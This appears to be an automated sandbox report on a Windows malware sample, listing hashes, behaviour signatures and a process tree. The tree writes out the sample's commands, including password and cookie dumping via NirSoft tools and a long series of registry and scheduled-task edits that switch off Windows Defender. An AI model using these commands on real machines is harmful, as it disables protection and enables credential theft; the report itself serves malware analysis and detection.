Analysis

  • max time kernel
    4294115s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20220223-en
  • submitted
    10-03-2022 03:55

General

  • Target

    686b8f21c35d25b40be1b589c4ae9687d5bdcd5c5c9394fe4f456ca800edc883.exe

  • Size

    3.0MB

  • MD5

    aba555a7e54895aa652cdf73e4a9c1a5

  • SHA1

    30c3572cbbeb81815f73b425d410ce9d1c5e9b3c

  • SHA256

    686b8f21c35d25b40be1b589c4ae9687d5bdcd5c5c9394fe4f456ca800edc883

  • SHA512

    f7fcee3972532a605554ce15614371b79c3a7870dc8e809593a46a9e51e817795f7f1b386c08731a346c04bdf01d1f8715290539aabf806eae24c5d3332d526a

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies extensions of user files 4 IoCs

    Ransomware generally changes the extension on encrypted files.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\686b8f21c35d25b40be1b589c4ae9687d5bdcd5c5c9394fe4f456ca800edc883.exe
    "C:\Users\Admin\AppData\Local\Temp\686b8f21c35d25b40be1b589c4ae9687d5bdcd5c5c9394fe4f456ca800edc883.exe"
    1⤵
    • Drops startup file
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs4/b4fIPsTsawldpJx/PyBhc3bcAjLFcy5VAlNzwvozHJIsPz8pK/aIjnk66TPxGDAthP8nkL7LkMSDIIlKtLBGi7EjBhuXcDHW4WWF/vBEE7vdhxWvUF2Ef4ME18lFtBg=
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      PID:1152
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
        3⤵
          PID:1380
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c compile.bat
            4⤵
              PID:1196
              • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
                C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:1408
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
            3⤵
              PID:1220
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                4⤵
                  PID:1540
                  • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                    C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    PID:968
              • C:\Windows\System32\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                3⤵
                  PID:2012
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c compile.bat
                    4⤵
                      PID:1964
                      • C:\Users\Admin\AppData\Local\Temp\hh.exe
                        C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1588
                      • C:\Users\Admin\AppData\Local\Temp\splwow64.exe
                        C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        PID:1596
                      • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                        C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        PID:1552
                  • C:\Windows\System32\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                    3⤵
                      PID:484
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c compile.bat
                        4⤵
                          PID:1544
                          • C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                            C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
                            5⤵
                              PID:2024
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
                          3⤵
                            PID:1320
                            • C:\Windows\system32\choice.exe
                              choice /C Y /N /D Y /T 3
                              4⤵
                                PID:572
                          • C:\Users\Admin\AppData\Local\Temp\CustomEXE.exe
                            "C:\Users\Admin\AppData\Local\Temp\CustomEXE.exe"
                            2⤵
                            • Executes dropped EXE
                            • Modifies extensions of user files
                            • Adds Run key to start application
                            • Drops desktop.ini file(s)
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:1620
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe"
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:976
                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                wmic csproduct get uuid
                                4⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1968
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1768
                            • C:\Windows\SysWOW64\reg.exe
                              reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                              3⤵
                                PID:1520
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                3⤵
                                  PID:484
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                  3⤵
                                    PID:2008
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                    3⤵
                                      PID:1716
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                      3⤵
                                        PID:1260
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                        3⤵
                                          PID:672
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                          3⤵
                                            PID:860
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                            3⤵
                                              PID:1376
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                              3⤵
                                                PID:1992
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                3⤵
                                                  PID:1380
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
                                                  3⤵
                                                    PID:1104
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                    3⤵
                                                      PID:1452
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                                      3⤵
                                                        PID:2032
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                        3⤵
                                                          PID:1596
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                          3⤵
                                                            PID:1700
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                            3⤵
                                                              PID:1204
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                              3⤵
                                                                PID:1244
                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                3⤵
                                                                  PID:1544
                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                  3⤵
                                                                    PID:1940
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                    3⤵
                                                                      PID:1932
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                                      3⤵
                                                                        PID:1020
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                        3⤵
                                                                          PID:1952
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                          3⤵
                                                                            PID:852
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                            3⤵
                                                                              PID:1064
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                              3⤵
                                                                                PID:972
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                3⤵
                                                                                  PID:832
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                  3⤵
                                                                                    PID:1780
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                    3⤵
                                                                                      PID:1128
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                      3⤵
                                                                                        PID:1704
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                        3⤵
                                                                                        • Modifies security service
                                                                                        PID:556

                                                                                  Network

                                                                                  MITRE ATT&CK Enterprise v6

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  • memory/1152-61-0x0000000000280000-0x000000000055A000-memory.dmp

                                                                                    Filesize

                                                                                    2.9MB

                                                                                  • memory/1152-80-0x0000000002360000-0x0000000002368000-memory.dmp

                                                                                    Filesize

                                                                                    32KB

                                                                                  • memory/1152-78-0x0000000002250000-0x0000000002282000-memory.dmp

                                                                                    Filesize

                                                                                    200KB

                                                                                  • memory/1152-66-0x000000001B140000-0x000000001B142000-memory.dmp

                                                                                    Filesize

                                                                                    8KB

                                                                                  • memory/1152-65-0x000000001A810000-0x000000001A8C0000-memory.dmp

                                                                                    Filesize

                                                                                    704KB

                                                                                  • memory/1152-64-0x0000000000240000-0x0000000000246000-memory.dmp

                                                                                    Filesize

                                                                                    24KB

                                                                                  • memory/1152-79-0x000000001B990000-0x000000001BA32000-memory.dmp

                                                                                    Filesize

                                                                                    648KB

                                                                                  • memory/1152-76-0x0000000000690000-0x000000000069C000-memory.dmp

                                                                                    Filesize

                                                                                    48KB

                                                                                  • memory/1152-75-0x0000000000830000-0x0000000000860000-memory.dmp

                                                                                    Filesize

                                                                                    192KB

                                                                                  • memory/1152-63-0x000000001B400000-0x000000001B742000-memory.dmp

                                                                                    Filesize

                                                                                    3.3MB

                                                                                  • memory/1152-62-0x000007FEF4E80000-0x000007FEF586C000-memory.dmp

                                                                                    Filesize

                                                                                    9.9MB

                                                                                  • memory/1152-77-0x0000000002090000-0x00000000020AA000-memory.dmp

                                                                                    Filesize

                                                                                    104KB

                                                                                  • memory/1380-82-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

                                                                                    Filesize

                                                                                    8KB

                                                                                  • memory/1408-86-0x00000000752A1000-0x00000000752A3000-memory.dmp

                                                                                    Filesize

                                                                                    8KB

                                                                                  • memory/1620-72-0x0000000000A30000-0x0000000000A31000-memory.dmp

                                                                                    Filesize

                                                                                    4KB

                                                                                  • memory/1620-70-0x0000000000E30000-0x00000000017B6000-memory.dmp

                                                                                    Filesize

                                                                                    9.5MB

                                                                                  • memory/1620-71-0x0000000073FF0000-0x00000000746DE000-memory.dmp

                                                                                    Filesize

                                                                                    6.9MB

                                                                                  • memory/1620-117-0x0000000000A35000-0x0000000000A46000-memory.dmp

                                                                                    Filesize

                                                                                    68KB

                                                                                  • memory/1792-57-0x0000000004B90000-0x0000000004B91000-memory.dmp

                                                                                    Filesize

                                                                                    4KB

                                                                                  • memory/1792-56-0x00000000002D0000-0x00000000005CE000-memory.dmp

                                                                                    Filesize

                                                                                    3.0MB

                                                                                  • memory/1792-54-0x00000000002D0000-0x00000000005CE000-memory.dmp

                                                                                    Filesize

                                                                                    3.0MB

                                                                                  • memory/1792-55-0x0000000073FF0000-0x00000000746DE000-memory.dmp

                                                                                    Filesize

                                                                                    6.9MB